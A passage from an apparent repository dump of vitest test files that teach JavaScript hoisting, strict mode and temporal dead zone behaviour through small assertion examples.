TDZ', () => {\n      expect(() => {\n        eval(`\n          sayHi()\n          const sayHi = () => \"Hi\"\n        `)\n      }).toThrow(ReferenceError)\n    })\n\n    it('should work after declaration', () => {\n      const sayHi = () => \"Hi\"\n      expect(sayHi()).toBe(\"Hi\")\n    })\n\n    it('should follow same rules as function expressions', () => {\n      // Arrow functions are always expressions\n      const multiply = (a, b) => a * b\n      const add = function(a, b) { return a + b }\n      \n      expect(multiply(3, 4)).toBe(12)\n      expect(add(3, 4)).toBe(7)\n    })\n  })\n\n  describe('Class Hoisting', () => {\n    it('should throw ReferenceError when using class before declaration', () => {\n      expect(() => {\n        eval(`\n          const dog = new Animal(\"Buddy\")\n          class Animal {\n            constructor(name) {\n              this.name = name\n            }\n          }\n        `)\n      }).toThrow(ReferenceError)\n    })\n\n    it('should work after class declaration', () => {\n      class Animal {\n        constructor(name) {\n          this.name = name\n        }\n      }\n      \n      const dog = new Animal(\"Buddy\")\n      expect(dog.name).toBe(\"Buddy\")\n    })\n\n    it('should throw ReferenceError for class expression before declaration', () => {\n      expect(() => {\n        eval(`\n          new MyClass()\n          const MyClass = class {}\n        `)\n      }).toThrow(ReferenceError)\n    })\n  })\n\n  describe('Hoisting Precedence and Order', () => {\n    it('should have function declarations win over var initially', () => {\n      function example() {\n        const typeAtStart = typeof myValue\n        \n        var myValue = \"string\"\n        \n        function myValue() {\n          return \"function\"\n        }\n        \n        const typeAtEnd = typeof myValue\n        \n        return { typeAtStart, typeAtEnd }\n      }\n      \n      const result = example()\n      // Function is hoisted over var initially\n      expect(result.typeAtStart).toBe(\"function\")\n      // But var assignment overwrites it\n      expect(result.typeAtEnd).toBe(\"string\")\n    })\n\n    it('should merge multiple var declarations', () => {\n      var x = 1\n      expect(x).toBe(1)\n      \n      var x = 2\n      expect(x).toBe(2)\n      \n      var x = 3\n      expect(x).toBe(3)\n    })\n\n    it('should hoist var without value if only declared later', () => {\n      function example() {\n        const first = x\n        var x\n        const second = x\n        x = 5\n        const third = x\n        return { first, second, third }\n      }\n      \n      const result = example()\n      expect(result.first).toBe(undefined)\n      expect(result.second).toBe(undefined)\n      expect(result.third).toBe(5)\n    })\n  })\n\n  describe('Common Hoisting Pitfalls', () => {\n    it('should demonstrate the function expression trap', () => {\n      // This is the #1 hoisting mistake\n      function example() {\n        try {\n          return sum(2, 3)\n        } catch (e) {\n          return e.name\n        } finally {\n          // eslint-disable-next-line no-unused-vars\n          var sum = function(a, b) {\n            return a + b\n          }\n        }\n      }\n      \n      expect(example()).toBe(\"TypeError\")\n    })\n\n    it('should work when using function declaration instead', () => {\n      function example() {\n        return sum(2, 3)\n        \n        function sum(a, b) {\n          return a + b\n        }\n      }\n      \n      expect(example()).toBe(5)\n    })\n\n    it('should demonstrate var loop problem with closures', () => {\n      const funcs = []\n      \n      for (var i = 0; i < 3; i++) {\n        funcs.push(function() {\n          return i\n        })\n      }\n      \n      // All return 3 because they share the same hoisted 'i'\n      expect(funcs[0]()).toBe(3)\n      expect(funcs[1]()).toBe(3)\n      expect(funcs[2]()).toBe(3)\n    })\n\n    it('should fix loop problem with let', () => {\n      const funcs = []\n      \n      for (let i = 0; i < 3; i++) {\n        funcs.push(function() {\n          return i\n        })\n      }\n      \n      // Each iteration gets its own 'i'\n      expect(funcs[0]()).toBe(0)\n      expect(funcs[1]()).toBe(1)\n      expect(funcs[2]()).toBe(2)\n    })\n  })\n\n  describe('Test Your Knowledge Examples', () => {\n    it('Question 1: var hoisting returns undefined then value', () => {\n      function example() {\n        const results = []\n        results.push(x)\n        var x = 10\n        results.push(x)\n        return results\n      }\n      \n      const [first, second] = example()\n      expect(first).toBe(undefined)\n      expect(second).toBe(10)\n    })\n\n    it('Question 2: let throws ReferenceError', () => {\n      expect(() => {\n        eval(`\n          console.log(y)\n          let y = 20\n        `)\n      }).toThrow(ReferenceError)\n    })\n\n    it('Question 3: var function expression throws TypeError', () => {\n      expect(() => {\n        eval(`\n          sayHi()\n          var sayHi = function() { console.log(\"Hi!\") }\n        `)\n      }).toThrow(TypeError)\n    })\n\n    it('Question 4: function declaration works before definition', () => {\n      function example() {\n        return sayHello()\n        \n        function sayHello() {\n          return \"Hello!\"\n        }\n      }\n      \n      expect(example()).toBe(\"Hello!\")\n    })\n\n    it('Question 5: function vs var same name', () => {\n      function example() {\n        var a = 1\n        function a() { return 2 }\n        return typeof a\n      }\n      \n      expect(example()).toBe(\"number\")\n    })\n\n    it('Question 6: inner const shadows outer due to hoisting', () => {\n      const x = \"outer\"\n      \n      function test() {\n        // The const x below IS hoisted and creates TDZ from start of function\n        // So accessing x here tries to access the inner x which is in TDZ\n        try {\n          // eslint-disable-next-line no-unused-vars\n          const result = x  // This x refers to inner x (TDZ!)\n          const x = \"inner\"\n          return result\n        } catch (e) {\n          return e.name\n        }\n      }\n      \n      // The const x inside the try block shadows outer x due to hoisting\n      expect(test()).toBe(\"ReferenceError\")\n    })\n  })\n\n  describe('Edge Cases', () => {\n    it('should handle nested function hoisting', () => {\n      function outer() {\n        const result = inner()\n        \n        function inner() {\n          return deepest()\n          \n          function deepest() {\n            return \"deep\"\n          }\n        }\n        \n        return result\n      }\n      \n      expect(outer()).toBe(\"deep\")\n    })\n\n    it('should handle var in catch block', () => {\n      try {\n        throw new Error(\"test\")\n      } catch (e) {\n        var caught = e.message\n      }\n      \n      // var escapes the catch block\n      expect(caught).toBe(\"test\")\n    })\n\n    it('should not hoist variables from eval in strict mode', () => {\n      // In strict mode, eval has its own scope\n      \"use strict\"\n      eval('var evalVar = \"from eval\"')\n      \n      // evalVar is not accessible outside eval in strict mode\n      expect(typeof evalVar).toBe(\"undefined\")\n    })\n\n    it('should hoist function parameters like var', () => {\n      function example(a) {\n        const typeAtStart = typeof a\n        var a = \"reassigned\"\n        const typeAfter = typeof a\n        return { typeAtStart, typeAfter }\n      }\n      \n      const result = example(42)\n      expect(result.typeAtStart).toBe(\"number\")\n      expect(result.typeAfter).toBe(\"string\")\n    })\n\n    it('should handle default parameter TDZ', () => {\n      // Earlier parameters can be used in later defaults\n      function test(a = 1, b = a + 1) {\n        return a + b\n      }\n      \n      expect(test()).toBe(3)       // a=1, b=2\n      expect(test(5)).toBe(11)     // a=5, b=6\n      expect(test(5, 10)).toBe(15) // a=5, b=10\n    })\n\n    it('should throw for later parameter used in earlier default', () => {\n      expect(() => {\n        eval(`\n          function test(a = b, b = 2) {\n            return a + b\n          }\n          test()\n        `)\n      }).toThrow(ReferenceError)\n    })\n  })\n\n  describe('Real-World Patterns', () => {\n    it('should enable module pattern with hoisted functions', () => {\n      function createCounter() {\n        // Variables must be declared before return (let/const don't hoist values)\n        // But functions ARE fully hoisted, so we can reference them before definition\n        let count = 0\n        \n        return {\n          increment,\n          decrement,\n          getValue\n        }\n        \n        // Function implementations below - these ARE hoisted\n        function increment() {\n          return ++count\n        }\n        \n        function decrement() {\n          return --count\n        }\n        \n        function getValue() {\n          return count\n        }\n      }\n      \n      const counter = createCounter()\n      expect(counter.increment()).toBe(1)\n      expect(counter.increment()).toBe(2)\n      expect(counter.decrement()).toBe(1)\n      expect(counter.getValue()).toBe(1)\n    })\n\n    it('should demonstrate readable code structure with hoisting', () => {\n      // Public API at the top\n      function processUser(user) {\n        validate(user)\n        const formatted = format(user)\n        return save(formatted)\n        \n        // Implementation details below\n        function validate(u) {\n          if (!u.name) throw new Error(\"Name required\")\n        }\n        \n        function format(u) {\n          return { ...u, name: u.name.toUpperCase() }\n        }\n        \n        function save(u) {\n          return { ...u, saved: true }\n        }\n      }\n      \n      const result = processUser({ name: \"alice\", age: 30 })\n      expect(result.name).toBe(\"ALICE\")\n      expect(result.saved).toBe(true)\n    })\n  })\n\n  describe('Documentation Examples', () => {\n    describe('Why TDZ Exists (MDX lines 220-225)', () => {\n      it('should throw ReferenceError when inner let shadows outer, not access outer value', () => {\n        // This demonstrates WHY the TDZ exists - to prevent confusing behavior\n        // where you might accidentally reference an outer variable\n        const x = \"outer\"\n        \n        function example() {\n          // Without TDZ, this might confusingly print \"outer\"\n          // With TDZ, JavaScript tells you something is wrong\n          try {\n            // eslint-disable-next-line no-unused-vars\n            const value = x  // Tries to access inner x which is in TDZ\n            // eslint-disable-next-line no-unused-vars\n            let x = \"inner\"\n            return value\n          } catch (e) {\n            return e.name\n          }\n        }\n        \n        // The inner let x shadows outer x from the start of the function\n        // so we get ReferenceError instead of \"outer\"\n        expect(example()).toBe(\"ReferenceError\")\n        // But outer x is still accessible outside the function\n        expect(x).toBe(\"outer\")\n      })\n    })\n\n    describe('Best Practices', () => {\n      describe('1. Declare variables at top of scope (MDX lines 542-554)', () => {\n        // This tests the processUser example from Best Practice 1\n        function processUser(user) {\n          // All declarations at the top\n          const name = user.name\n          const email = user.email\n          let isValid = false\n          \n          // Logic follows\n          if (name && email) {\n            isValid = true\n          }\n          \n          return isValid\n        }\n\n        it('should validate user with name and email', () => {\n          expect(processUser({ name: \"Alice\", email: \"alice@example.com\" })).toBe(true)\n        })\n\n        it('should invalidate user without email', () => {\n          expect(processUser({ name: \"Alice\" })).toBe(false)\n        })\n\n        it('should invalidate user without name', () => {\n          expect(processUser({ email: \"alice@example.com\" })).toBe(false)\n        })\n      })\n\n      describe('2. Prefer const > let > var (MDX lines 562-567)', () => {\n        it('should not allow const reassignment', () => {\n          expect(() => {\n            eval(`\n              const API_URL = 'https://api.example.com'\n              API_URL = 'https://other.com'\n            `)\n          }).toThrow(TypeError)\n        })\n\n        it('should allow let reassignment', () => {\n          let currentUser = null\n          currentUser = { name: \"Alice\" }\n          currentUser = { name: \"Bob\" }\n          \n          expect(currentUser.name).toBe(\"Bob\")\n        })\n\n        it('should allow var reassignment and redeclaration', () => {\n          var counter = 0\n          counter = 1\n          var counter = 2  // Redeclaration allowed with var\n          \n          expect(counter).toBe(2)\n        })\n      })\n\n      describe('3. Use function declarations for named functions (MDX lines 577-583)', () => {\n        it('should hoist function declaration (calculateTotal can be called before definition)', () => {\n          // Function declaration is fully hoisted\n          const items = [{ price: 10 }, { price: 20 }, { price: 30 }]\n          const result = calculateTotal(items)\n          \n          function calculateTotal(items) {\n            return items.reduce((sum, item) => sum + item.price, 0)\n          }\n          \n          expect(result).toBe(60)\n        })\n\n        it('should work with arrow function after declaration (calculateTax)', () => {\n          const calculateTax = (amount) => amount * 0.1\n          \n          expect(calculateTax(100)).toBe(10)\n          expect(calculateTax(250)).toBe(25)\n        })\n\n        it('should throw ReferenceError if arrow function called before declaration', () => {\n          expect(() => {\n            eval(`\n              calculateTax(100)\n              const calculateTax = (amount) => amount * 0.1\n            `)\n          }).toThrow(ReferenceError)\n        })\n      })\n\n      describe('5. Don\\'t rely on hoisting for variable values (MDX lines 605-615)', () => {\n        it('should show bad pattern: var x is undefined before assignment', () => {\n          function bad() {\n            const valueBeforeAssignment = x  // undefined - works but confusing\n            var x = 5\n            const valueAfterAssignment = x\n            return { before: valueBeforeAssignment, after: valueAfterAssignment }\n          }\n          \n          const result = bad()\n          expect(result.before).toBe(undefined)\n          expect(result.after).toBe(5)\n        })\n\n        it('should show good pattern: const x is properly defined', () => {\n          function good() {\n            const x = 5\n            return x  // 5 - clear and predictable\n          }\n          \n          expect(good()).toBe(5)\n        })\n      })\n    })\n  })\n})\n"
  },
  {
    "path": "tests/beyond/language-mechanics/strict-mode/strict-mode.test.js",
    "content": "import { describe, it, expect } from 'vitest'\n\ndescribe('Strict Mode', () => {\n  // ===========================================\n  // Part 1: Accidental Global Variables\n  // ===========================================\n\n  describe('Part 1: Accidental Global Variables', () => {\n    it('should demonstrate how sloppy mode creates accidental globals', () => {\n      // In sloppy mode, assigning to an undeclared variable creates a global\n      // We can simulate this behavior (but won't actually pollute global scope)\n      \n      function sloppyBehavior() {\n        // Simulating what would happen in sloppy mode:\n        // undeclaredVar = 'leaked' would create window.undeclaredVar\n        const globals = {}\n        \n        // This mimics sloppy mode's behavior of auto-creating globals\n        function assignToUndeclared(varName, value) {\n          globals[varName] = value  // Leaks to \"global\" scope\n        }\n        \n        assignToUndeclared('mistypedVariable', 42)\n        return globals.mistypedVariable\n      }\n      \n      expect(sloppyBehavior()).toBe(42)\n    })\n\n    it('should show that strict mode catches undeclared variable assignments', () => {\n      // In strict mode, assigning to undeclared variable throws ReferenceError\n      // We test the expected behavior pattern\n      \n      function strictBehavior() {\n        'use strict'\n        \n        // In strict mode, we must declare variables first\n        let declaredVariable\n        declaredVariable = 42  // This works\n        return declaredVariable\n      }\n      \n      expect(strictBehavior()).toBe(42)\n    })\n\n    it('should demonstrate the difference with a practical typo scenario', () => {\n      // This shows why strict mode is valuable for catching typos\n      \n      function calculateTotalStrict(price, taxRate) {\n        'use strict'\n        \n        // Proper declaration - no typos\n        const total = price * (1 + taxRate)\n        return total\n      }\n      \n      // Using toBeCloseTo for floating-point comparison\n      expect(calculateTotalStrict(100, 0.1)).toBeCloseTo(110, 10)\n    })\n  })\n\n  // ===========================================\n  // Part 2: Silent Assignment Failures\n  // ===========================================\n\n  describe('Part 2: Silent Assignment Failures', () => {\n    it('should demonstrate that read-only properties throw in strict mode', () => {\n      'use strict'\n      \n      const obj = {}\n      Object.defineProperty(obj, 'readOnly', {\n        value: 42,\n        writable: false\n      })\n      \n      // Attempting to write to a read-only property throws TypeError\n      expect(() => {\n        obj.readOnly = 100\n      }).toThrow(TypeError)\n      \n      // Original value unchanged\n      expect(obj.readOnly).toBe(42)\n    })\n\n    it('should demonstrate getter-only properties throw on assignment', () => {\n      'use strict'\n      \n      const obj = {\n        get value() {\n          return 'constant'\n        }\n      }\n      \n      // Attempting to set a getter-only property throws TypeError\n      expect(() => {\n        obj.value = 'new value'\n      }).toThrow(TypeError)\n      \n      expect(obj.value).toBe('constant')\n    })\n\n    it('should demonstrate non-extensible objects throw on new property', () => {\n      'use strict'\n      \n      const obj = { existing: 1 }\n      Object.preventExtensions(obj)\n      \n      // Can still modify existing properties\n      obj.existing = 2\n      expect(obj.existing).toBe(2)\n      \n      // But adding new properties throws TypeError\n      expect(() => {\n        obj.newProperty = 'test'\n      }).toThrow(TypeError)\n    })\n\n    it('should demonstrate frozen objects are completely immutable', () => {\n      'use strict'\n      \n      const frozen = Object.freeze({ x: 1, y: 2 })\n      \n      // Cannot modify existing properties\n      expect(() => {\n        frozen.x = 100\n      }).toThrow(TypeError)\n      \n      // Cannot add new properties\n      expect(() => {\n        frozen.z = 3\n      }).toThrow(TypeError)\n      \n      // Cannot delete properties\n      expect(() => {\n        delete frozen.x\n      }).toThrow(TypeError)\n      \n      // Values unchanged\n      expect(frozen.x).toBe(1)\n      expect(frozen.y).toBe(2)\n    })\n  })\n\n  // ===========================================\n  // Part 3: Delete Restrictions\n  // ===========================================\n\n  describe('Part 3: Delete Restrictions', () => {\n    it('should demonstrate deleting non-configurable properties throws', () => {\n      'use strict'\n      \n      const obj = {}\n      Object.defineProperty(obj, 'permanent', {\n        value: 'cannot delete',\n        configurable: false\n      })\n      \n      // Attempting to delete non-configurable property throws TypeError\n      expect(() => {\n        delete obj.permanent\n      }).toThrow(TypeError)\n      \n      expect(obj.permanent).toBe('cannot delete')\n    })\n\n    it('should allow deleting configurable properties', () => {\n      'use strict'\n      \n      const obj = { deletable: 'can delete' }\n      \n      expect(obj.deletable).toBe('can delete')\n      expect(delete obj.deletable).toBe(true)\n      expect(obj.deletable).toBe(undefined)\n    })\n\n    it('should demonstrate that built-in properties are non-configurable', () => {\n      'use strict'\n      \n      // Array.prototype is non-configurable\n      expect(() => {\n        delete Array.prototype\n      }).toThrow(TypeError)\n      \n      // Array length is non-configurable on existing arrays\n      const arr = [1, 2, 3]\n      expect(() => {\n        delete arr.length\n      }).toThrow(TypeError)\n    })\n  })\n\n  // ===========================================\n  // Part 4: `this` Behavior\n  // ===========================================\n\n  describe('Part 4: this Behavior', () => {\n    it('should demonstrate this is undefined in strict mode function calls', () => {\n      'use strict'\n      \n      function getThis() {\n        return this\n      }\n      \n      // Direct function call - this is undefined in strict mode\n      expect(getThis()).toBe(undefined)\n    })\n\n    it('should demonstrate this is still the object when called as method', () => {\n      'use strict'\n      \n      const obj = {\n        value: 42,\n        getValue() {\n          return this.value\n        }\n      }\n      \n      // Method call - this is the object\n      expect(obj.getValue()).toBe(42)\n    })\n\n    it('should demonstrate call/apply/bind still work to set this', () => {\n      'use strict'\n      \n      function greet() {\n        return `Hello, ${this.name}`\n      }\n      \n      const person = { name: 'Alice' }\n      \n      // call sets this\n      expect(greet.call(person)).toBe('Hello, Alice')\n      \n      // apply sets this\n      expect(greet.apply(person)).toBe('Hello, Alice')\n      \n      // bind creates new function with fixed this\n      const boundGreet = greet.bind(person)\n      expect(boundGreet()).toBe('Hello, Alice')\n    })\n\n    it('should demonstrate primitives are not boxed when passed to call/apply', () => {\n      'use strict'\n      \n      function getThisType() {\n        return typeof this\n      }\n      \n      // In strict mode, primitives passed to call/apply stay as primitives\n      expect(getThisType.call(42)).toBe('number')\n      expect(getThisType.call('hello')).toBe('string')\n      expect(getThisType.call(true)).toBe('boolean')\n      \n      // null and undefined are passed through as-is\n      expect(getThisType.call(null)).toBe('object')  // typeof null === 'object'\n      expect(getThisType.call(undefined)).toBe('undefined')\n    })\n\n    it('should demonstrate arrow functions inherit this regardless of strict mode', () => {\n      'use strict'\n      \n      // Create a function that creates an object with arrow function\n      // to demonstrate that arrow functions capture 'this' from definition scope\n      function createObj() {\n        // 'this' inside a strict mode function call is undefined\n        const capturedThis = this  // undefined\n        \n        return {\n          value: 100,\n          getValueArrow: () => {\n            // Arrow function captures 'this' from createObj's scope\n            return capturedThis\n          },\n          getValueRegular() {\n            // Regular function: this is the object\n            return this.value\n          }\n        }\n      }\n      \n      const obj = createObj()\n      \n      expect(obj.getValueRegular()).toBe(100)\n      // Arrow function's this is from enclosing scope (undefined in strict mode)\n      expect(obj.getValueArrow()).toBe(undefined)\n    })\n  })\n\n  // ===========================================\n  // Part 5: Duplicate Parameters\n  // ===========================================\n\n  describe('Part 5: Duplicate Parameters (Syntax Restrictions)', () => {\n    it('should demonstrate unique parameters work correctly', () => {\n      'use strict'\n      \n      function add(a, b, c) {\n        return a + b + c\n      }\n      \n      expect(add(1, 2, 3)).toBe(6)\n    })\n\n    it('should show the sloppy mode duplicate parameter confusion', () => {\n      // In sloppy mode, duplicate params shadow earlier ones\n      // This simulates what happens: function sum(a, a, c) uses last 'a'\n      \n      function simulateSloppyDuplicate(firstA, secondA, c) {\n        // In sloppy mode with function(a, a, c), only second 'a' is accessible\n        return secondA + secondA + c\n      }\n      \n      // sum(1, 2, 3) with duplicate 'a' returns 2 + 2 + 3 = 7, not 1 + 2 + 3 = 6\n      expect(simulateSloppyDuplicate(1, 2, 3)).toBe(7)\n    })\n\n    // Note: We can't actually test that strict mode throws SyntaxError for\n    // duplicate parameters because that's a parse-time error. The test file\n    // itself wouldn't parse if we included such code.\n  })\n\n  // ===========================================\n  // Part 6: eval and arguments Restrictions\n  // ===========================================\n\n  describe('Part 6: eval and arguments Restrictions', () => {\n    it('should demonstrate eval does not leak variables in strict mode', () => {\n      'use strict'\n      \n      // In strict mode, eval creates its own scope\n      eval('var evalVar = \"inside eval\"')\n      \n      // evalVar is NOT accessible outside eval in strict mode\n      expect(() => evalVar).toThrow(ReferenceError)\n    })\n\n    it('should demonstrate arguments object is independent of parameters', () => {\n      'use strict'\n      \n      function testArguments(a) {\n        const originalA = a\n        const originalArg0 = arguments[0]\n        \n        // Modify arguments[0]\n        arguments[0] = 999\n        \n        // In strict mode, 'a' is NOT affected\n        expect(a).toBe(originalA)\n        expect(arguments[0]).toBe(999)\n        \n        // Modify parameter\n        a = 888\n        \n        // arguments[0] is NOT affected\n        expect(arguments[0]).toBe(999)\n        expect(a).toBe(888)\n        \n        return { a, arg0: arguments[0] }\n      }\n      \n      const result = testArguments(42)\n      expect(result.a).toBe(888)\n      expect(result.arg0).toBe(999)\n    })\n\n    it('should demonstrate arguments.callee throws in strict mode', () => {\n      'use strict'\n      \n      function testCallee() {\n        return arguments.callee\n      }\n      \n      // Accessing arguments.callee throws TypeError in strict mode\n      expect(() => testCallee()).toThrow(TypeError)\n    })\n  })\n\n  // ===========================================\n  // Part 7: Octal Literals\n  // ===========================================\n\n  describe('Part 7: Octal Literals', () => {\n    it('should demonstrate 0o prefix works for octal numbers', () => {\n      'use strict'\n      \n      // Modern octal syntax with 0o prefix\n      const octal = 0o755\n      expect(octal).toBe(493)  // 7*64 + 5*8 + 5 = 493\n      \n      const octal10 = 0o10\n      expect(octal10).toBe(8)\n    })\n\n    it('should demonstrate other number prefixes work correctly', () => {\n      'use strict'\n      \n      // Binary with 0b prefix\n      expect(0b1010).toBe(10)\n      expect(0b11111111).toBe(255)\n      \n      // Hexadecimal with 0x prefix\n      expect(0xFF).toBe(255)\n      expect(0x10).toBe(16)\n      \n      // Octal with 0o prefix\n      expect(0o777).toBe(511)\n    })\n\n    // Note: We can't test that 0755 (legacy octal) throws SyntaxError\n    // because that would be a parse-time error in strict mode\n  })\n\n  // ===========================================\n  // Part 8: Reserved Words\n  // ===========================================\n\n  describe('Part 8: Reserved Words', () => {\n    it('should demonstrate that reserved words cannot be object property shorthand', () => {\n      'use strict'\n      \n      // Reserved words CAN be used as property names with quotes or computed\n      const obj = {\n        'implements': true,\n        'interface': true,\n        'private': true,\n        'public': true,\n        'static': true\n      }\n      \n      expect(obj.implements).toBe(true)\n      expect(obj.interface).toBe(true)\n      expect(obj['private']).toBe(true)\n    })\n\n    it('should show that static works in class context', () => {\n      'use strict'\n      \n      class MyClass {\n        static staticMethod() {\n          return 'static works'\n        }\n        \n        static staticProperty = 'static property'\n      }\n      \n      expect(MyClass.staticMethod()).toBe('static works')\n      expect(MyClass.staticProperty).toBe('static property')\n    })\n  })\n\n  // ===========================================\n  // Part 9: Practical Scenarios\n  // ===========================================\n\n  describe('Part 9: Practical Scenarios', () => {\n    it('should catch common typo bugs early', () => {\n      'use strict'\n      \n      function processOrder(order) {\n        // All variables properly declared\n        const subtotal = order.items.reduce((sum, item) => sum + item.price, 0)\n        const tax = subtotal * order.taxRate\n        const total = subtotal + tax\n        \n        return { subtotal, tax, total }\n      }\n      \n      const order = {\n        items: [{ price: 10 }, { price: 20 }],\n        taxRate: 0.1\n      }\n      \n      const result = processOrder(order)\n      expect(result.subtotal).toBe(30)\n      expect(result.tax).toBe(3)\n      expect(result.total).toBe(33)\n    })\n\n    it('should work correctly with classes (automatic strict mode)', () => {\n      // Classes are always in strict mode\n      class Counter {\n        #count = 0  // Private field\n        \n        increment() {\n          this.#count++\n        }\n        \n        getCount() {\n          return this.#count\n        }\n      }\n      \n      const counter = new Counter()\n      expect(counter.getCount()).toBe(0)\n      counter.increment()\n      counter.increment()\n      expect(counter.getCount()).toBe(2)\n    })\n\n    it('should demonstrate safe object manipulation', () => {\n      'use strict'\n      \n      // Create an object with controlled mutability\n      const config = Object.freeze({\n        apiUrl: 'https://api.example.com',\n        timeout: 5000,\n        retries: 3\n      })\n      \n      // Verify immutability\n      expect(() => {\n        config.apiUrl = 'https://other.com'\n      }).toThrow(TypeError)\n      \n      expect(config.apiUrl).toBe('https://api.example.com')\n    })\n  })\n})\n"
  },
  {
    "path": "tests/beyond/language-mechanics/temporal-dead-zone/temporal-dead-zone.test.js",
    "content": "import { describe, it, expect } from 'vitest'\n\ndescribe('Temporal Dead Zone', () => {\n  describe('Basic TDZ Behavior', () => {\n    describe('let declarations', () => {\n      it('should throw ReferenceError when accessing let before declaration', () => {\n        expect(() => {\n          eval(`\n            const value = x\n            let x = 10\n          `)\n        }).toThrow(ReferenceError)\n      })\n\n      it('should work correctly when accessed after declaration', () => {\n        let x = 10\n        expect(x).toBe(10)\n      })\n    })\n\n    describe('const declarations', () => {\n      it('should throw ReferenceError when accessing const before declaration', () => {\n        expect(() => {\n          eval(`\n            const value = y\n            const y = 20\n          `)\n        }).toThrow(ReferenceError)\n      })\n\n      it('should work correctly when accessed after declaration', () => {\n        const y = 20\n        expect(y).toBe(20)\n      })\n    })\n\n    describe('var declarations (no TDZ)', () => {\n      it('should return undefined when accessing var before declaration', () => {\n        function example() {\n          const before = x\n          var x = 10\n          const after = x\n          return { before, after }\n        }\n\n        const result = example()\n        expect(result.before).toBe(undefined)\n        expect(result.after).toBe(10)\n      })\n\n      it('should demonstrate var hoisting to function scope', () => {\n        function example() {\n          if (false) {\n            var x = 10\n          }\n          return x // undefined, not ReferenceError\n        }\n\n        expect(example()).toBe(undefined)\n      })\n    })\n  })\n\n  describe('TDZ Boundaries', () => {\n    it('should start TDZ at the beginning of the block', () => {\n      expect(() => {\n        eval(`\n          {\n            // TDZ starts here\n            const value = name\n            let name = \"Alice\"\n          }\n        `)\n      }).toThrow(ReferenceError)\n    })\n\n    it('should end TDZ at the declaration line', () => {\n      {\n        // TDZ for 'name' exists here\n        let name = \"Alice\" // TDZ ends here\n        expect(name).toBe(\"Alice\")\n      }\n    })\n\n    it('should allow function definitions that reference TDZ variables', () => {\n      // This is the key \"temporal\" aspect\n      {\n        const getX = () => x // Function defined before x is initialized\n        let x = 42\n        // Calling after initialization works!\n        expect(getX()).toBe(42)\n      }\n    })\n\n    it('should throw if function is called during TDZ', () => {\n      expect(() => {\n        eval(`\n          {\n            const getX = () => x\n            getX() // Called before x is initialized\n            let x = 42\n          }\n        `)\n      }).toThrow(ReferenceError)\n    })\n\n    it('should have separate TDZ per block scope', () => {\n      let x = \"outer\"\n      \n      {\n        // New TDZ for inner x starts here\n        // The outer x is shadowed but we can't access inner x yet\n        expect(() => {\n          eval(`\n            {\n              let outer = x // This x refers to inner, which is in TDZ\n              let x = \"inner\"\n            }\n          `)\n        }).toThrow(ReferenceError)\n      }\n      \n      expect(x).toBe(\"outer\")\n    })\n  })\n\n  describe('TDZ with typeof', () => {\n    it('should throw ReferenceError when using typeof on TDZ variable', () => {\n      expect(() => {\n        eval(`\n          {\n            typeof x // ReferenceError!\n            let x = 10\n          }\n        `)\n      }).toThrow(ReferenceError)\n    })\n\n    it('should return \"undefined\" for undeclared variables (no TDZ)', () => {\n      // This is the key difference from undeclared variables\n      expect(typeof undeclaredVariable).toBe(\"undefined\")\n    })\n\n    it('should work after TDZ ends', () => {\n      let x = 10\n      expect(typeof x).toBe(\"number\")\n    })\n  })\n\n  describe('TDZ in Default Parameters', () => {\n    it('should allow later parameters to reference earlier ones', () => {\n      function test(a = 1, b = a + 1) {\n        return { a, b }\n      }\n\n      expect(test()).toEqual({ a: 1, b: 2 })\n      expect(test(5)).toEqual({ a: 5, b: 6 })\n      expect(test(5, 10)).toEqual({ a: 5, b: 10 })\n    })\n\n    it('should throw when earlier parameters reference later ones', () => {\n      expect(() => {\n        eval(`\n          function test(a = b, b = 2) {\n            return a + b\n          }\n          test()\n        `)\n      }).toThrow(ReferenceError)\n    })\n\n    it('should throw on self-reference in default parameter', () => {\n      expect(() => {\n        eval(`\n          function test(a = a) {\n            return a\n          }\n          test()\n        `)\n      }).toThrow(ReferenceError)\n    })\n\n    it('should allow referencing outer scope variables in defaults', () => {\n      const outer = 100\n\n      function test(a = outer, b = a + 1) {\n        return { a, b }\n      }\n\n      expect(test()).toEqual({ a: 100, b: 101 })\n    })\n  })\n\n  describe('TDZ in Destructuring', () => {\n    it('should throw on self-referencing destructuring', () => {\n      expect(() => {\n        eval(`\n          let { x = x } = {}\n        `)\n      }).toThrow(ReferenceError)\n    })\n\n    it('should throw when later destructured variable references earlier in TDZ', () => {\n      expect(() => {\n        eval(`\n          let { a = b, b = 1 } = {}\n        `)\n      }).toThrow(ReferenceError)\n    })\n\n    it('should allow earlier destructured variables to be used by later ones', () => {\n      let { a = 1, b = a + 1 } = {}\n      expect(a).toBe(1)\n      expect(b).toBe(2)\n    })\n\n    it('should work with provided values', () => {\n      let { a = 1, b = a + 1 } = { a: 10, b: 20 }\n      expect(a).toBe(10)\n      expect(b).toBe(20)\n    })\n  })\n\n  describe('TDZ in Loops', () => {\n    it('should throw for for...of header self-reference', () => {\n      expect(() => {\n        eval(`\n          for (let n of n.values) {\n            console.log(n)\n          }\n        `)\n      }).toThrow(ReferenceError)\n    })\n\n    it('should create fresh binding per iteration with let', () => {\n      const funcs = []\n\n      for (let i = 0; i < 3; i++) {\n        funcs.push(() => i)\n      }\n\n      // Each closure captures a different i\n      expect(funcs[0]()).toBe(0)\n      expect(funcs[1]()).toBe(1)\n      expect(funcs[2]()).toBe(2)\n    })\n\n    it('should share binding across iterations with var (no TDZ)', () => {\n      const funcs = []\n\n      for (var i = 0; i < 3; i++) {\n        funcs.push(() => i)\n      }\n\n      // All closures share the same i\n      expect(funcs[0]()).toBe(3)\n      expect(funcs[1]()).toBe(3)\n      expect(funcs[2]()).toBe(3)\n    })\n\n    it('should have TDZ in for...in loop header', () => {\n      expect(() => {\n        eval(`\n          for (let key in key.split('')) {\n            console.log(key)\n          }\n        `)\n      }).toThrow(ReferenceError)\n    })\n  })\n\n  describe('TDZ with class Declarations', () => {\n    it('should throw ReferenceError when accessing class before declaration', () => {\n      expect(() => {\n        eval(`\n          const instance = new MyClass()\n          class MyClass {\n            constructor() {\n              this.value = 42\n            }\n          }\n        `)\n      }).toThrow(ReferenceError)\n    })\n\n    it('should work when class is accessed after declaration', () => {\n      class MyClass {\n        constructor() {\n          this.value = 42\n        }\n      }\n\n      const instance = new MyClass()\n      expect(instance.value).toBe(42)\n    })\n\n    it('should throw when class references itself in extends before declaration', () => {\n      expect(() => {\n        eval(`\n          class A extends A {}\n        `)\n      }).toThrow(ReferenceError)\n    })\n\n    it('should allow class to reference itself inside methods', () => {\n      class Counter {\n        static count = 0\n        \n        constructor() {\n          Counter.count++ // This works - class is initialized\n        }\n        \n        static getCount() {\n          return Counter.count\n        }\n      }\n\n      new Counter()\n      new 